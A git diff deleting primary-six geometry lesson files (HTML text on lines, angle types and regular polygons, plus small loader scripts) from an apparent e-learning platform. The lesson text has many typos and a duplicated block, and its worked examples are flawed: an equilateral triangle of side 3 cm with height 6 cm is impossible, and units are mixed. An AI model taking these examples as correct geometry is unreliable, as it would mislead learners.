diff --git a/Save_Mathematics/P6/map611m18/map611m19a02/source.txt b/Save_Mathematics/P6/map611m18/map611m19a02/source.txt
deleted file mode 100644
index a241f5f..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a02/source.txt
+++ /dev/null
@@ -1,139 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Straight Lines:
-  <br />
-  <br />
- </span>
- (diagram) This is a line segment.
- <br />
- <br />
- <br />
- <br />
- <br />
- (diagram) A segment line has 2 points
- <br />
- <br />
- <br />
- <br />
- <br />
- 1)(diagram)Vertical lines
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 2) (diagram)Holizontal lines.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 3)(diagram) Oblique lines
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 4) (diagram)Perpendicular lines
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 5) Non perpendicular lines
- <br />
- <br />
- <br />
- <br />
- <br />
- 6)(diagram) Perpendicular cutting lines
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 7) Non perpendicular cutting lines.
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Knowledge:
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  Straight vertical lines are upright or perpendicular
- </li>
- <li>
-  Straight oblicque lines are sloping lines
- </li>
- <li>
-  Straight horizontal lines are right to let straight lines
- </li>
-</ul>
-<p>
- * A perpendicular line is an upright liine that forms an angle of 90o or a right angle with another line or surface .
- <br />
- <br />
- * A cutting line is a line that crosses through another line.
- <br />
- <br />
- 8) Parallel straight lines.
- <br />
- (Diagram)
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Notice
- </span>
- : The straight lines do not meet. They havve the same distance apart at every point.
- <br />
- <span style="font-weight: bold;">
-  &nbsp;
- </span>
- <br />
- <br />
- 9) Cutting straight lines and Parallel straight lines.
- <br />
- &lt;Dia
- <span style="font-weight: bold;">
-  gram&gt;
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Knowledge:
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  Paralles straight lines do not cut each other.
- </li>
- <li>
-  Cuttiing straight lines cross each other.
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m18/map611m19a03/a.txt b/Save_Mathematics/P6/map611m18/map611m19a03/a.txt
deleted file mode 100644
index 6e789fd..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a03/a.txt
+++ /dev/null
@@ -1,127 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Notice: As we see, to construct an ngle, at leat two lines must meet and crwoss each other.
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  Guided Practice: Types of angles
-  <br />
- </span>
- 1.Right angle
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The right angle has 90 degrees (90
- </span>
- <sup style="font-weight: bold;">
-  o
- </sup>
- <span style="font-weight: bold;">
-  )
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 2.Acute angle.
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The acute angle is an angle less than 90
- </span>
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
- <br />
- <br />
- 3. The obtus angle
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The obtus angles is an angle greater than 90
-  <sup>
-   o
-  </sup>
-  . It is an angle between 90
-  <sup>
-   o
-  </sup>
-  and 180
-  <sup>
-   o
-  </sup>
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- 4. Straight anlge or Flat angle
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The straight anngle is an angle having 180
-  <sup>
-   o
-  </sup>
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- 5) Reflex angle
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The reflex angle is an angle between 180
-  <sup>
-   o
-  </sup>
-  and 360
-  <sup>
-   o
-  </sup>
- </span>
- <br />
- <br />
- <br />
- 6. A Revolutio angle
- <br />
- (Diagram)
- <br />
- <br />
- <span style="font-weight: bold;">
-  <br />
-  Notice: A revolution angle has 360
-  <sup>
-   o
-  </sup>
-  <br />
-  <br />
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m18/map611m19a03/description.py b/Save_Mathematics/P6/map611m18/map611m19a03/description.py
deleted file mode 100644
index 96412bc..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m19a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m18/map611m19a03/lesson.js b/Save_Mathematics/P6/map611m18/map611m19a03/lesson.js
deleted file mode 100644
index d7bf698..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m18/map611m19a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m18/map611m19a03/source.txt b/Save_Mathematics/P6/map611m18/map611m19a03/source.txt
deleted file mode 100644
index 6e789fd..0000000
--- a/Save_Mathematics/P6/map611m18/map611m19a03/source.txt
+++ /dev/null
@@ -1,127 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Notice: As we see, to construct an ngle, at leat two lines must meet and crwoss each other.
-  <br />
-  <br />
- </span>
- <span style="font-weight: bold; text-decoration: underline;">
-  Guided Practice: Types of angles
-  <br />
- </span>
- 1.Right angle
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The right angle has 90 degrees (90
- </span>
- <sup style="font-weight: bold;">
-  o
- </sup>
- <span style="font-weight: bold;">
-  )
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- 2.Acute angle.
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The acute angle is an angle less than 90
- </span>
- <sup>
-  o
- </sup>
- <br />
- <br />
- <br />
- <br />
- <br />
- 3. The obtus angle
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The obtus angles is an angle greater than 90
-  <sup>
-   o
-  </sup>
-  . It is an angle between 90
-  <sup>
-   o
-  </sup>
-  and 180
-  <sup>
-   o
-  </sup>
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- 4. Straight anlge or Flat angle
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The straight anngle is an angle having 180
-  <sup>
-   o
-  </sup>
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- 5) Reflex angle
- <br />
- (Diagram)
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  Notice: The reflex angle is an angle between 180
-  <sup>
-   o
-  </sup>
-  and 360
-  <sup>
-   o
-  </sup>
- </span>
- <br />
- <br />
- <br />
- 6. A Revolutio angle
- <br />
- (Diagram)
- <br />
- <br />
- <span style="font-weight: bold;">
-  <br />
-  Notice: A revolution angle has 360
-  <sup>
-   o
-  </sup>
-  <br />
-  <br />
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/activities.js b/Save_Mathematics/P6/map611m20/activities.js
deleted file mode 100755
index 82c0efd..0000000
--- a/Save_Mathematics/P6/map611m20/activities.js
+++ /dev/null
@@ -1,12 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m20a01','blue'],
-['2','2','map6','basic','map611m20a02','blue'],
-['3','3','map6','basic','map611m20a03','blue'],
-['4','4','map6','basic','map611m20a04','blue'],
-['5','5','map6','basic','map611m20a05','blue'],
-['6','6','map6','basic','map611m20a06','blue'],
-['7','7','map6','basic','map611m20a07','blue'],
-['8','8','map6','basic','map611m20a08','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m20/map611m20a01/a.txt b/Save_Mathematics/P6/map611m20/map611m20a01/a.txt
deleted file mode 100644
index c4c5552..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a01/a.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Introduction: Regular Polygon.
- </span>
- <br />
- <br />
- In geometric figures, we canfind shapes which have the same sides and the same angles. Those shapes ccan be used inn construction of houses, same all them are Equilateral triangles, quadrilateral, regular pentagon, hexagon.
- <br />
- <br />
- In this milestone, we will bbe studying shaes with: 3sides, 5sides, 6sides, 7sides, 8sides, 9sides, 10sides, 11sides, and 12 sideswith the same sides and angles.
- <br />
- <br />
- We wil also study their properties, perimeter apothem and area, without forgeting their angles.
- <br />
- <br />
- Are you able to list down the names of those shapes from 6 sides up to 12 sides?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a01/description.py b/Save_Mathematics/P6/map611m20/map611m20a01/description.py
deleted file mode 100644
index c8e6055..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m20a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m20/map611m20a01/lesson.js b/Save_Mathematics/P6/map611m20/map611m20a01/lesson.js
deleted file mode 100644
index bac7db3..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m20/map611m20a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m20/map611m20a01/source.txt b/Save_Mathematics/P6/map611m20/map611m20a01/source.txt
deleted file mode 100644
index c4c5552..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a01/source.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Introduction: Regular Polygon.
- </span>
- <br />
- <br />
- In geometric figures, we canfind shapes which have the same sides and the same angles. Those shapes ccan be used inn construction of houses, same all them are Equilateral triangles, quadrilateral, regular pentagon, hexagon.
- <br />
- <br />
- In this milestone, we will bbe studying shaes with: 3sides, 5sides, 6sides, 7sides, 8sides, 9sides, 10sides, 11sides, and 12 sideswith the same sides and angles.
- <br />
- <br />
- We wil also study their properties, perimeter apothem and area, without forgeting their angles.
- <br />
- <br />
- Are you able to list down the names of those shapes from 6 sides up to 12 sides?
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a02/a.txt b/Save_Mathematics/P6/map611m20/map611m20a02/a.txt
deleted file mode 100644
index 4e743b0..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a02/a.txt
+++ /dev/null
@@ -1,612 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  1. Equilateral triangle
-  <br />
- </span>
-</p>
-<p>
- <span style="font-weight: bold;">
-  1. Equilateral triangle
-  <br />
-  <br />
-  (Diagram)
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Properties.
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal(3cm)
- </li>
- <li>
-  all angles are equal
- </li>
- <li>
-  The  height bisects of both the vertical aangle and base line.
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  perimeter(P)
-  <br />
-  P=sum of the sides
-  <br />
-  Area=base(B)*Height(H)/2
-  <br />
-  <span style="font-weight: bold;">
-   <br />
-  </span>
- </span>
- For our example by  considering B=3m and H=6cm
- <span style="font-weight: bold;">
-  <span style="font-weight: bold;">
-  </span>
- </span>
- T
- <span style="font-weight: bold;">
- </span>
- he area of this  triangle will be
- <br />
- <span style="font-weight: bold;">
-  Area=(3cm
- </span>
- *6cm)/2=18cm
- <sup>
-  2
- </sup>
- /2=9cm
- <sup>
-  2
- </sup>
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  2. Square
-  <br />
-  <br />
-  (Diagram)
-  <br />
-  <br />
-  <br />
-  Properties
-  <br />
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal(5cm)
- </li>
- <li>
-  All angles are equal
- </li>
- <li>
-  Diagonals  are equal and bisect at 90
-  <sup>
-   o
-  </sup>
- </li>
- <li>
-  4 lines of symetry
- </li>
-</ul>
-<p>
- Perimeter(P)=sum of all sides Or side*4
- <br />
- <br />
- P=5cm+5cm+5cm+5cm=20cm
- <br />
- OR
- <br />
- P=5cm*4=20cm
- <br />
- <br />
- Area=Side(S)*side(SS)
- <br />
- <br />
- Area=S*S
- <br />
- =5cm*5cm=25cm
- <sup>
-  2
-  <br />
- </sup>
- <br />
- 3.
- <span style="font-weight: bold;">
-  Regular Pentagon
-  <br />
-  <br />
-  (Diagram)
-  <br />
-  <br />
-  Properties
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal
- </li>
- <li>
-  all angles are equal
- </li>
- <li>
-  5 lines of  symetry
- </li>
- <li>
-  A line from the centre to vertex bisects the angle aat  the vertex
- </li>
- <li>
-  All exterior anngles add to 360
-  <sup>
-   o
-  </sup>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  Notice: For all regular polygon, all  sides and angles are equal.
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   <span style="text-decoration: underline;">
-    Perimeter(P)
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
- </span>
- (Diagram)
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  <br />
- </span>
- P=sum of all  sides
- <span style="font-weight: bold;">
- </span>
- Or Side(S)*5
- <br />
- <span style="font-weight: bold;">
-  p=8cm+8cm+8cm+8cm+8cm=40cm
-  <br />
-  <br />
-  or
-  <br />
-  s:  side
-  <br />
-  P=s*5
-  <br />
-  P=8cm*5=40cm
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   <span style="text-decoration: underline;">
-    Apothem of regular polygon
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <br />
-  (diagram)
-  <br />
-  <br />
-  <br />
-  Apothem=height  of a tringle
-  <br />
-  <br />
-  knowledge:
-  <br />
-  <br />
- </span>
- An apothem is the line  from the centre of a polygon perpendicular to the sides of polygon.
- <span style="font-weight: bold;">
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   Area of regualr polygons.
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <span style="font-weight: bold;">
-   Regular  pentagon
-   <br />
-   <br />
-  </span>
- </span>
- (diagram)
- <br />
- <br />
- The given:
- <br />
- *Apothem=6cm
- <br />
- *P=8cm*5=40cm
- <br />
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  apothem*Perimeter
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  2
-  <br />
-  <br />
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  *6cm*40cm=3cm*40cm=120cm
-  <sup>
-   2
-  </sup>
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  2
-  <br />
-  <br />
-  Knowledge:
- </span>
- Area  of each regular polygon is:
- <br />
- <br />
- <span style="text-decoration: underline;">
-  1
- </span>
- apothem*number of  sides*length of the givven side
- <br />
- 2
- <br />
- <br />
- Or
- <br />
- <span style="font-weight: bold;">
-  Area=
- </span>
-</p>
-<p>
- <br />
- <span style="font-weight: bold;">
-  (Diagram)
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Properties.
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal(3cm)
- </li>
- <li>
-  all angles are equal
- </li>
- <li>
-  The height bisects of both the vertical aangle and base line.
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  perimeter(P)
-  <br />
-  P=sum of the sides
-  <br />
-  Area=base(B)*Height(H)/2
-  <br />
-  <span style="font-weight: bold;">
-   <br />
-  </span>
- </span>
- For our example by considering B=3m and H=6cm
- <span style="font-weight: bold;">
-  <span style="font-weight: bold;">
-  </span>
- </span>
- T
- <span style="font-weight: bold;">
- </span>
- he area of this triangle will be
- <br />
- <span style="font-weight: bold;">
-  Area=(3cm
- </span>
- *6cm)/2=18cm
- <sup>
-  2
- </sup>
- /2=9cm
- <sup>
-  2
- </sup>
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  2. Square
-  <br />
-  <br />
-  (Diagram)
-  <br />
-  <br />
-  <br />
-  Properties
-  <br />
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal(5cm)
- </li>
- <li>
-  All angles are equal
- </li>
- <li>
-  Diagonals are equal and bisect at 90
-  <sup>
-   o
-  </sup>
- </li>
- <li>
-  4 lines of symetry
- </li>
-</ul>
-<p>
- Perimeter(P)=sum of all sides Or side*4
- <br />
- <br />
- P=5cm+5cm+5cm+5cm=20cm
- <br />
- OR
- <br />
- P=5cm*4=20cm
- <br />
- <br />
- Area=Side(S)*side(SS)
- <br />
- <br />
- Area=S*S
- <br />
- =5cm*5cm=25cm
- <sup>
-  2
-  <br />
- </sup>
- <br />
- 3.
- <span style="font-weight: bold;">
-  Regular Pentagon
-  <br />
-  <br />
-  (Diagram)
-  <br />
-  <br />
-  Properties
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal
- </li>
- <li>
-  all angles are equal
- </li>
- <li>
-  5 lines of symetry
- </li>
- <li>
-  A line from the centre to vertex bisects the angle aat the vertex
- </li>
- <li>
-  All exterior anngles add to 360
-  <sup>
-   o
-  </sup>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  Notice: For all regular polygon, all sides and angles are equal.
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   <span style="text-decoration: underline;">
-    Perimeter(P)
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
- </span>
- (Diagram)
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  <br />
- </span>
- P=sum of all sides
- <span style="font-weight: bold;">
- </span>
- Or Side(S)*5
- <br />
- <span style="font-weight: bold;">
-  p=8cm+8cm+8cm+8cm+8cm=40cm
-  <br />
-  <br />
-  or
-  <br />
-  s: side
-  <br />
-  P=s*5
-  <br />
-  P=8cm*5=40cm
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   <span style="text-decoration: underline;">
-    Apothem of regular polygon
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <br />
-  (diagram)
-  <br />
-  <br />
-  <br />
-  Apothem=height of a tringle
-  <br />
-  <br />
-  knowledge:
-  <br />
-  <br />
- </span>
- An apothem is the line from the centre of a polygon perpendicular to the sides of polygon.
- <span style="font-weight: bold;">
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   Area of regualr polygons.
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <span style="font-weight: bold;">
-   Regular pentagon
-   <br />
-   <br />
-  </span>
- </span>
- (diagram)
- <br />
- <br />
- The given:
- <br />
- *Apothem=6cm
- <br />
- *P=8cm*5=40cm
- <br />
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  apothem*Perimeter
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  2
-  <br />
-  <br />
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  *6cm*40cm=3cm*40cm=120cm
-  <sup>
-   2
-  </sup>
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  2
-  <br />
-  <br />
-  Knowledge:
- </span>
- Area of each regular polygon is:
- <br />
- <br />
- <span style="text-decoration: underline;">
-  1
- </span>
- apothem*number of sides*length of the givven side
- <br />
- 2
- <br />
- <br />
- Or
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  *apothem*Perimeter
-  <br />
- </span>
- 2
- <br />
- <span style="font-weight: bold;">
- </span>
- <span style="font-weight: bold;">
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m20/map611m20a02/description.py b/Save_Mathematics/P6/map611m20/map611m20a02/description.py
deleted file mode 100644
index 5ea32e1..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m20a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m20/map611m20a02/lesson.js b/Save_Mathematics/P6/map611m20/map611m20a02/lesson.js
deleted file mode 100644
index f14b555..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m20/map611m20a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m20/map611m20a02/source.txt b/Save_Mathematics/P6/map611m20/map611m20a02/source.txt
deleted file mode 100644
index 4e743b0..0000000
--- a/Save_Mathematics/P6/map611m20/map611m20a02/source.txt
+++ /dev/null
@@ -1,612 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  1. Equilateral triangle
-  <br />
- </span>
-</p>
-<p>
- <span style="font-weight: bold;">
-  1. Equilateral triangle
-  <br />
-  <br />
-  (Diagram)
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Properties.
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal(3cm)
- </li>
- <li>
-  all angles are equal
- </li>
- <li>
-  The  height bisects of both the vertical aangle and base line.
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  perimeter(P)
-  <br />
-  P=sum of the sides
-  <br />
-  Area=base(B)*Height(H)/2
-  <br />
-  <span style="font-weight: bold;">
-   <br />
-  </span>
- </span>
- For our example by  considering B=3m and H=6cm
- <span style="font-weight: bold;">
-  <span style="font-weight: bold;">
-  </span>
- </span>
- T
- <span style="font-weight: bold;">
- </span>
- he area of this  triangle will be
- <br />
- <span style="font-weight: bold;">
-  Area=(3cm
- </span>
- *6cm)/2=18cm
- <sup>
-  2
- </sup>
- /2=9cm
- <sup>
-  2
- </sup>
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  2. Square
-  <br />
-  <br />
-  (Diagram)
-  <br />
-  <br />
-  <br />
-  Properties
-  <br />
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal(5cm)
- </li>
- <li>
-  All angles are equal
- </li>
- <li>
-  Diagonals  are equal and bisect at 90
-  <sup>
-   o
-  </sup>
- </li>
- <li>
-  4 lines of symetry
- </li>
-</ul>
-<p>
- Perimeter(P)=sum of all sides Or side*4
- <br />
- <br />
- P=5cm+5cm+5cm+5cm=20cm
- <br />
- OR
- <br />
- P=5cm*4=20cm
- <br />
- <br />
- Area=Side(S)*side(SS)
- <br />
- <br />
- Area=S*S
- <br />
- =5cm*5cm=25cm
- <sup>
-  2
-  <br />
- </sup>
- <br />
- 3.
- <span style="font-weight: bold;">
-  Regular Pentagon
-  <br />
-  <br />
-  (Diagram)
-  <br />
-  <br />
-  Properties
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal
- </li>
- <li>
-  all angles are equal
- </li>
- <li>
-  5 lines of  symetry
- </li>
- <li>
-  A line from the centre to vertex bisects the angle aat  the vertex
- </li>
- <li>
-  All exterior anngles add to 360
-  <sup>
-   o
-  </sup>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  Notice: For all regular polygon, all  sides and angles are equal.
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   <span style="text-decoration: underline;">
-    Perimeter(P)
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
- </span>
- (Diagram)
- <span style="font-weight: bold;">
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  <br />
- </span>
- P=sum of all  sides
- <span style="font-weight: bold;">
- </span>
- Or Side(S)*5
- <br />
- <span style="font-weight: bold;">
-  p=8cm+8cm+8cm+8cm+8cm=40cm
-  <br />
-  <br />
-  or
-  <br />
-  s:  side
-  <br />
-  P=s*5
-  <br />
-  P=8cm*5=40cm
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   <span style="text-decoration: underline;">
-    Apothem of regular polygon
-   </span>
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <br />
-  (diagram)
-  <br />
-  <br />
-  <br />
-  Apothem=height  of a tringle
-  <br />
-  <br />
-  knowledge:
-  <br />
-  <br />
- </span>
- An apothem is the line  from the centre of a polygon perpendicular to the sides of polygon.
- <span style="font-weight: bold;">
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  <span style="font-weight: bold;">
-   Area of regualr polygons.
-  </span>
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  <span style="font-weight: bold;">
-   Regular  pentagon
-   <br />
-   <br />
-  </span>
- </span>
- (diagram)
- <br />
- <br />
- The given:
- <br />
- *Apothem=6cm
- <br />
- *P=8cm*5=40cm
- <br />
- <br />
- <span style="font-weight: bold;">
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  apothem*Perimeter
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  2
-  <br />
-  <br />
-  Area=
-  <br />
-  <span style="text-decoration: underline;">
-   1
-  </span>
-  *6cm*40cm=3cm*40cm=120cm
-  <sup>
-   2
-  </sup>
-  <span style="text-decoration: underline;">
-   <br />
-  </span>
-  2
-  <br />
-  <br />
-  Knowledge:
- </span>
- Area  of each regular polygon is:
- <br />
- <br />
- <span style="text-decoration: underline;">
-  1
- </span>
- apothem*number of  sides*length of the givven side
- <br />
- 2
- <br />
- <br />
- Or
- <br />
- <span style="font-weight: bold;">
-  Area=
- </span>
-</p>
-<p>
- <br />
- <span style="font-weight: bold;">
-  (Diagram)
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  Properties.
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal(3cm)
- </li>
- <li>
-  all angles are equal
- </li>
- <li>
-  The height bisects of both the vertical aangle and base line.
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  perimeter(P)
-  <br />
-  P=sum of the sides
-  <br />
-  Area=base(B)*Height(H)/2
-  <br />
-  <span style="font-weight: bold;">
-   <br />
-  </span>
- </span>
- For our example by considering B=3m and H=6cm
- <span style="font-weight: bold;">
-  <span style="font-weight: bold;">
-  </span>
- </span>
- T
- <span style="font-weight: bold;">
- </span>
- he area of this triangle will be
- <br />
- <span style="font-weight: bold;">
-  Area=(3cm
- </span>
- *6cm)/2=18cm
- <sup>
-  2
- </sup>
- /2=9cm
- <sup>
-  2
- </sup>
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  2. Square
-  <br />
-  <br />
-  (Diagram)
-  <br />
-  <br />
-  <br />
-  Properties
-  <br />
-  <br />
-  <br />
- </span>
-</p>
-<ul>
- <li>
-  All sides are equal(5cm)
- </li>
- <li>
-  All angles are equal
- </li>
- <li>
-  Diagonals are equal and bisect at 90
-  <sup>
-   o
-  </sup>
- </li>
- <li>
-  4 lines of symetry
- </li>
-</ul>
-<p>
- Perimeter(P)=sum of all sides Or side*4
- <br />
- <br />
- P=5cm+5cm+5cm+5cm=20cm
- <br />
- OR
- <br />
- P=5cm*4=20cm
- <br />
